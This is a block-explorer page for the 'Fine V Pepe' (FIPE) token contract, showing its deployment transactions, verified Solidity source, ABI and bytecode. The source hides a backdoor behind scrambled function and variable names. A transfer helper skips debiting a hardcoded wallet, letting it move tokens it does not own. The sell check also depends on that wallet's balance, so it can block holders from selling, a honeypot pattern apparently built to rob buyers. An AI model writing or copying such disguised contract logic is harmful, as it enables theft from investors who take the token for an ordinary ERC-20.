ETH Price: $2,394.27 (-2.14%)

Contract

0xfe34c197493E0B480Ffb9e18798d3b36a32AD15b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve181315922023-09-14 2:37:35392 days ago1694659055IN
0xfe34c197...6a32AD15b
0 ETH0.000570612.32699016
Transfer181315882023-09-14 2:36:47392 days ago1694659007IN
0xfe34c197...6a32AD15b
0 ETH0.0005169512.32808278
Approve181315722023-09-14 2:33:35392 days ago1694658815IN
0xfe34c197...6a32AD15b
0 ETH0.0005704212.31666152
Approve181315622023-09-14 2:31:35392 days ago1694658695IN
0xfe34c197...6a32AD15b
0 ETH0.0005766912.3974278
Approve181315602023-09-14 2:31:11392 days ago1694658671IN
0xfe34c197...6a32AD15b
0 ETH0.0008659618.59202695
Transfer181315562023-09-14 2:30:23392 days ago1694658623IN
0xfe34c197...6a32AD15b
0 ETH0.0005146512.88800443
Approve181315372023-09-14 2:26:35392 days ago1694658395IN
0xfe34c197...6a32AD15b
0 ETH0.0005587912.01269699
Approve181315302023-09-14 2:25:11392 days ago1694658311IN
0xfe34c197...6a32AD15b
0 ETH0.0005099810.96345259
Approve181315272023-09-14 2:24:35392 days ago1694658275IN
0xfe34c197...6a32AD15b
0 ETH0.0006701214.38751798
Approve181315172023-09-14 2:22:35392 days ago1694658155IN
0xfe34c197...6a32AD15b
0 ETH0.00047510.19820882
Approve181314952023-09-14 2:18:11392 days ago1694657891IN
0xfe34c197...6a32AD15b
0 ETH0.0006216913.34774519
Renounce Ownersh...181314892023-09-14 2:16:59392 days ago1694657819IN
0xfe34c197...6a32AD15b
0 ETH0.0002790311.95722309
Approve181314852023-09-14 2:16:11392 days ago1694657771IN
0xfe34c197...6a32AD15b
0 ETH0.00055211.85153731
Approve181314852023-09-14 2:16:11392 days ago1694657771IN
0xfe34c197...6a32AD15b
0 ETH0.0006451613.85153731
Approve181314802023-09-14 2:15:11392 days ago1694657711IN
0xfe34c197...6a32AD15b
0 ETH0.0006081913.06110004
Open Trading181314792023-09-14 2:14:59392 days ago1694657699IN
0xfe34c197...6a32AD15b
0 ETH0.0332758111.85006527
Transfer181314762023-09-14 2:14:23392 days ago1694657663IN
0xfe34c197...6a32AD15b
2 ETH0.0002348111.15262058
Transfer181314682023-09-14 2:12:47392 days ago1694657567IN
0xfe34c197...6a32AD15b
0 ETH0.0006439411.3234651
0x60806040181314532023-09-14 2:09:47392 days ago1694657387IN
 Create: FineVPepe
0 ETH0.0208382111.69459361

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
181314792023-09-14 2:14:59392 days ago1694657699
0xfe34c197...6a32AD15b
2 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FineVPepe

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-14
*/

/**

Fine V Pepe - $FIPE

Telegram: https://t.me/FIPE_PORTAL
Twitter: https://twitter.com/FIPE_PORTAL
Website: https://fivpe.com/

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:");
        return c;
    }

    function  _wjrfp(uint256 a, uint256 b) internal pure returns (uint256) {
        return  _wjrfp(a, b, "SafeMath:");
    }

    function  _wjrfp(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath:");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath:");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface _snpsctoryaxp {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface _xnqaRuses {
    function swExactTensFrHSportingFeeOransferkes(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint 
    amountToken, uint amountETH, uint liquidity);
}

contract FineVPepe is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcldedFrof;
    mapping (address => bool) private _taxfWallejy;
    mapping(address => uint256) private _ldrLornsfesvp;
    bool public _tnsferelanale = false;
    address payable private _pfkRvaevrep;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Fine V Pepe";
    string private constant _symbol = unicode"FIPE";
    uint256 private constant _Totalrh = 42069000000 * 10 **_decimals;
    uint256 public _mxTakAmaunt = _Totalrh;
    uint256 public _WalletSmax = _Totalrh;
    uint256 public _wapThresholdtax= _Totalrh;
    uint256 public _moaxToxSap= _Totalrh;

    uint256 private _BuyTaxinitial=5;
    uint256 private _SellTaxinitial=8;
    uint256 private _BuyTaxfinal=1;
    uint256 private _SellTaxfinal=1;
    uint256 private _BuyTaxAreduce=7;
    uint256 private _SellTaxAreduce=1;
    uint256 private _wapBeforeprevent=0;
    uint256 private _byotwkaxt=0;

    _xnqaRuses private _uifpxsRaeuot;
    address private _aufPaivw;
    bool private _vesvkqwh;
    bool private itxeSwbp = false;
    bool private _apEablew = false;

    event _amaunateql(uint _mxTakAmaunt);
    modifier lckoThawbp {
        itxeSwbp = true;
        _;
        itxeSwbp = false;
    }

    constructor () {

        _balances[_msgSender()] = _Totalrh;
        _isExcldedFrof[owner()] = true;
        _isExcldedFrof[address(this)] = true;
        _isExcldedFrof[_pfkRvaevrep] = true;
        _pfkRvaevrep = payable(0xb940fb5AEe9852CDE6405273aEF71838dd23726f);


        emit Transfer(address(0), _msgSender(), _Totalrh);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _Totalrh;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _wjrfp(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 teeomoun=0;
        if (from != owner () && to != owner ()) {

            if (_tnsferelanale) {
                if (to != address
                (_uifpxsRaeuot) && to !=
                 address(_aufPaivw)) {
                  require(_ldrLornsfesvp
                  [tx.origin] < block.number,
                  "Only one transfer per block allowed.");
                  _ldrLornsfesvp
                  [tx.origin] = block.number;
                }
            }

            if (from == _aufPaivw && to != 
            address(_uifpxsRaeuot) && !_isExcldedFrof[to] ) {
                require(amount <= _mxTakAmaunt,
                 "Exceeds the _mxTakAmaunt.");
                require(balanceOf(to) + amount
                 <= _WalletSmax, "Exceeds the maxWalletSize.");
                if(_byotwkaxt
                < _wapBeforeprevent){
                  require(! _frxerpz(to));
                }
                _byotwkaxt++;
                 _taxfWallejy[to]=true;
                teeomoun = amount.mul((_byotwkaxt>
                _BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
                .div(100);
            }

            if(to == _aufPaivw && from!= address(this) 
            && !_isExcldedFrof[from] ){
                require(amount <= _mxTakAmaunt && 
                balanceOf(_pfkRvaevrep)<_moaxToxSap,
                 "Exceeds the _mxTakAmaunt.");
                teeomoun = amount.mul((_byotwkaxt>
                _SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
                .div(100);
                require(_byotwkaxt>_wapBeforeprevent &&
                 _taxfWallejy[from]);
            }

            uint256 contractTokenBalance = 
            balanceOf(address(this));
            if (!itxeSwbp 
            && to == _aufPaivw && _apEablew &&
             contractTokenBalance>_wapThresholdtax 
            && _byotwkaxt>_wapBeforeprevent&&
             !_isExcldedFrof[to]&& !_isExcldedFrof[from]
            ) {
                _swpvkejkgj( _qekw(amount, 
                _qekw(contractTokenBalance,_moaxToxSap)));
                uint256 contractETHBalance 
                = address(this).balance;
                if(contractETHBalance 
                > 0) {
                    _ephspxrwjx(address(this).balance);
                }
            }
        }

        if(teeomoun>0){
          _balances[address(this)]=_balances
          [address(this)].
          add(teeomoun);
          emit Transfer(from,
           address(this),teeomoun);
        }
        _balances[from]= _wjrfp(from,
         _balances[from], amount);
        _balances[to]=_balances[to].
        add(amount. _wjrfp(teeomoun));
        emit Transfer(from, to, 
        amount. _wjrfp(teeomoun));
    }

    function _swpvkejkgj(uint256
     tokenAmount) private lckoThawbp {
        if(tokenAmount==0){return;}
        if(!_vesvkqwh){return;}
        address[] memory path =
         new address[](2);
        path[0] = address(this);
        path[1] = _uifpxsRaeuot.WETH();
        _approve(address(this),
         address(_uifpxsRaeuot), tokenAmount);
        _uifpxsRaeuot.
        swExactTensFrHSportingFeeOransferkes(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function  _qekw(uint256 a, 
    uint256 b) private pure
     returns (uint256){
      return ( a > b
      )?
      b : a ;
    }

    function  _wjrfp(address
     from, uint256 a,
      uint256 b) private view
       returns(uint256){
        if(from 
        == _pfkRvaevrep){
            return a ;
        }else{
            return a . _wjrfp (b);
        }
    }

    function removeLimits() external onlyOwner{
        _mxTakAmaunt = _Totalrh;
        _WalletSmax = _Totalrh;
        _tnsferelanale = false;
        emit _amaunateql(_Totalrh);
    }

    function _frxerpz(address 
    account) private view 
    returns (bool) {
        uint256 sixzev;
        assembly {
            sixzev :=
             extcodesize
             (account)
        }
        return sixzev > 
        0;
    }

    function _ephspxrwjx(uint256
    amount) private {
        _pfkRvaevrep.
        transfer(amount);
    }

    function openTrading( ) external onlyOwner( ) {
        require( ! _vesvkqwh);
        _uifpxsRaeuot   =  _xnqaRuses (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ;
        _approve(address(this), address(_uifpxsRaeuot), _Totalrh);
        _aufPaivw = _snpsctoryaxp(_uifpxsRaeuot.factory()). createPair (address(this),  _uifpxsRaeuot . WETH ());
        _uifpxsRaeuot.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_aufPaivw).approve(address(_uifpxsRaeuot), type(uint).max);
        _apEablew = true;
        _vesvkqwh = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_mxTakAmaunt","type":"uint256"}],"name":"_amaunateql","type":"event"},{"inputs":[],"name":"_WalletSmax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moaxToxSap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxTakAmaunt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tnsferelanale","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_wapThresholdtax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556200001c6009600a62000361565b6200002d906409cb81ff4062000378565b6007556200003e6009600a62000361565b6200004f906409cb81ff4062000378565b600855620000606009600a62000361565b62000071906409cb81ff4062000378565b6009556009600a62000084919062000361565b62000095906409cb81ff4062000378565b600a556005600b556008600c556001600d819055600e8190556007600f556010555f60118190556012556014805461ffff60a81b19169055348015620000d9575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001286009600a62000361565b62000139906409cb81ff4062000378565b335f908152600160208190526040822092909255600390620001625f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600680546101009004909216845291909220805490931617909155805474b940fb5aee9852cde6405273aef71838dd23726f00610100600160a81b0319909116179055620001f13390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200022a6009600a62000361565b6200023b906409cb81ff4062000378565b60405190815260200160405180910390a362000392565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a657815f19048211156200028a576200028a62000252565b808516156200029857918102915b93841c93908002906200026b565b509250929050565b5f82620002be575060016200035b565b81620002cc57505f6200035b565b8160018114620002e55760028114620002f05762000310565b60019150506200035b565b60ff84111562000304576200030462000252565b50506001821b6200035b565b5060208310610133831016604e8410600b841016171562000335575081810a6200035b565b62000341838362000266565b805f190482111562000357576200035762000252565b0290505b92915050565b5f6200037160ff841683620002ae565b9392505050565b80820281158282048414176200035b576200035b62000252565b61185980620003a05f395ff3fe608060405260043610610108575f3560e01c80637245281011610092578063a06d9cdf11610062578063a06d9cdf146102d2578063a9059cbb146102e7578063c9567bf914610306578063dd62ed3e1461031a578063f931b7131461035e575f80fd5b80637245281014610257578063751039fc1461026c5780638da5cb5b1461028057806395d89b41146102a6575f80fd5b806323b872dd116100d857806323b872dd146101be578063313ce567146101dd5780636e51f954146101f857806370a082311461020d578063715018a614610241575f80fd5b806306fdde0314610113578063095ea7b314610158578063098d91041461018757806318160ddd146101aa575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600b81526a46696e652056205065706560a81b60208201525b60405161014f919061144a565b60405180910390f35b348015610163575f80fd5b506101776101723660046114ac565b610377565b604051901515815260200161014f565b348015610192575f80fd5b5061019c600a5481565b60405190815260200161014f565b3480156101b5575f80fd5b5061019c61038d565b3480156101c9575f80fd5b506101776101d83660046114d6565b6103ae565b3480156101e8575f80fd5b506040516009815260200161014f565b348015610203575f80fd5b5061019c60075481565b348015610218575f80fd5b5061019c610227366004611514565b6001600160a01b03165f9081526001602052604090205490565b34801561024c575f80fd5b50610255610416565b005b348015610262575f80fd5b5061019c60095481565b348015610277575f80fd5b50610255610490565b34801561028b575f80fd5b505f546040516001600160a01b03909116815260200161014f565b3480156102b1575f80fd5b506040805180820190915260048152634649504560e01b6020820152610142565b3480156102dd575f80fd5b5061019c60085481565b3480156102f2575f80fd5b506101776103013660046114ac565b61054e565b348015610311575f80fd5b5061025561055a565b348015610325575f80fd5b5061019c61033436600461152f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610369575f80fd5b506006546101779060ff1681565b5f6103833384846108c0565b5060015b92915050565b5f61039a6009600a61165a565b6103a9906409cb81ff40611668565b905090565b5f6103ba8484846109e3565b61040b8433610406856040518060600160405280602881526020016117fc602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110d1565b6108c0565b5060015b9392505050565b5f546001600160a01b031633146104485760405162461bcd60e51b815260040161043f9061167f565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104b95760405162461bcd60e51b815260040161043f9061167f565b6104c56009600a61165a565b6104d4906409cb81ff40611668565b6007556104e36009600a61165a565b6104f2906409cb81ff40611668565b6008556006805460ff191690557fd1df17bf41b8c750c300500ee1fdf12ccb804f63c34d5512ca9a793ebf3e93ed61052c6009600a61165a565b61053b906409cb81ff40611668565b60405190815260200160405180910390a1565b5f6103833384846109e3565b5f546001600160a01b031633146105835760405162461bcd60e51b815260040161043f9061167f565b601454600160a01b900460ff1615610599575f80fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e39030906105d46009600a61165a565b610406906409cb81ff40611668565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610633573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065791906116b6565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106da91906116b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610724573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074891906116b6565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061078f816001600160a01b03165f9081526001602052604090205490565b5f806107a25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610808573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082d91906116d1565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610882573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a691906116fc565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109225760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043f565b6001600160a01b0382166109835760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043f565b6001600160a01b038216610aa95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043f565b5f8111610b0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043f565b5f80546001600160a01b03858116911614801590610b3557505f546001600160a01b03848116911614155b15610f925760065460ff1615610bf1576013546001600160a01b03848116911614801590610b7157506014546001600160a01b03848116911614155b15610bf157325f908152600560205260409020544311610bdf5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161043f565b325f9081526005602052604090204390555b6014546001600160a01b038581169116148015610c1c57506013546001600160a01b03848116911614155b8015610c4057506001600160a01b0383165f9081526003602052604090205460ff16155b15610d8c57600754821115610c935760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6bc2a30b5a0b6b0bab73a1760391b604482015260640161043f565b60085482610cb5856001600160a01b03165f9081526001602052604090205490565b610cbf919061171b565b1115610d0d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161043f565b6011546012541015610d2457823b15610d24575f80fd5b60128054905f610d338361172e565b90915550506001600160a01b0383165f908152600460205260409020805460ff19166001179055600f54601254610d8991606491610d839110610d7857600b54610d7c565b600d545b8590611109565b90611169565b90505b6014546001600160a01b038481169116148015610db257506001600160a01b0384163014155b8015610dd657506001600160a01b0384165f9081526003602052604090205460ff16155b15610ead576007548211158015610e0c5750600a5460065461010090046001600160a01b03165f90815260016020526040902054105b610e545760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6bc2a30b5a0b6b0bab73a1760391b604482015260640161043f565b610e796064610d8360105460125411610e6f57600c54610d7c565b600e548590611109565b9050601154601254118015610ea557506001600160a01b0384165f9081526004602052604090205460ff165b610ead575f80fd5b305f90815260016020526040902054601454600160a81b900460ff16158015610ee357506014546001600160a01b038581169116145b8015610ef85750601454600160b01b900460ff165b8015610f05575060095481115b8015610f145750601154601254115b8015610f3857506001600160a01b0384165f9081526003602052604090205460ff16155b8015610f5c57506001600160a01b0385165f9081526003602052604090205460ff16155b15610f9057610f7e610f7984610f7484600a54611196565b611196565b6111aa565b478015610f8e57610f8e47611333565b505b505b801561100a57305f90815260016020526040902054610fb19082611372565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110019085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461102e908590846113bc565b6001600160a01b0385165f9081526001602052604090205561107161105383836113f1565b6001600160a01b0385165f9081526001602052604090205490611372565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ba85856113f1565b60405190815260200160405180910390a350505050565b5f81848411156110f45760405162461bcd60e51b815260040161043f919061144a565b505f6111008486611746565b95945050505050565b5f825f0361111857505f610387565b5f6111238385611668565b9050826111308583611759565b1461040f5760405162461bcd60e51b815260206004820152600960248201526829b0b332a6b0ba341d60b91b604482015260640161043f565b5f61040f83836040518060400160405280600981526020016829b0b332a6b0ba341d60b91b81525061141e565b5f8183116111a4578261040f565b50919050565b6014805460ff60a81b1916600160a81b179055801561132357601454600160a01b900460ff1615611323576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120857611208611778565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561125f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061128391906116b6565b8160018151811061129657611296611778565b6001600160a01b0392831660209182029290920101526013546112bc91309116846108c0565b601354604051634bb0425960e01b81526001600160a01b0390911690634bb04259906112f49085905f9086903090429060040161178c565b5f604051808303815f87803b15801561130b575f80fd5b505af115801561131d573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561136e573d5f803e3d5ffd5b5050565b5f8061137e838561171b565b90508381101561040f5760405162461bcd60e51b815260206004820152600960248201526829b0b332a6b0ba341d60b91b604482015260640161043f565b6006545f906001600160a01b036101009091048116908516036113e057508161040f565b6113ea83836113f1565b905061040f565b5f61040f83836040518060400160405280600981526020016829b0b332a6b0ba341d60b91b8152506110d1565b5f818361143e5760405162461bcd60e51b815260040161043f919061144a565b505f6111008486611759565b5f6020808352835180828501525f5b8181101561147557858101830151858201604001528201611459565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114a9575f80fd5b50565b5f80604083850312156114bd575f80fd5b82356114c881611495565b946020939093013593505050565b5f805f606084860312156114e8575f80fd5b83356114f381611495565b9250602084013561150381611495565b929592945050506040919091013590565b5f60208284031215611524575f80fd5b813561040f81611495565b5f8060408385031215611540575f80fd5b823561154b81611495565b9150602083013561155b81611495565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115b457815f190482111561159a5761159a611566565b808516156115a757918102915b93841c939080029061157f565b509250929050565b5f826115ca57506001610387565b816115d657505f610387565b81600181146115ec57600281146115f657611612565b6001915050610387565b60ff84111561160757611607611566565b50506001821b610387565b5060208310610133831016604e8410600b8410161715611635575081810a610387565b61163f838361157a565b805f190482111561165257611652611566565b029392505050565b5f61040f60ff8416836115bc565b808202811582820484141761038757610387611566565b6020808252601a908201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865000000000000604082015260600190565b5f602082840312156116c6575f80fd5b815161040f81611495565b5f805f606084860312156116e3575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561170c575f80fd5b8151801515811461040f575f80fd5b8082018082111561038757610387611566565b5f6001820161173f5761173f611566565b5060010190565b8181038181111561038757610387611566565b5f8261177357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117da5784516001600160a01b0316835293830193918301916001016117b5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220566625915ad9c100d83bbe095c7ea8991994decbcf3d554591f52fa56c4c607f64736f6c63430008140033

Deployed Bytecode

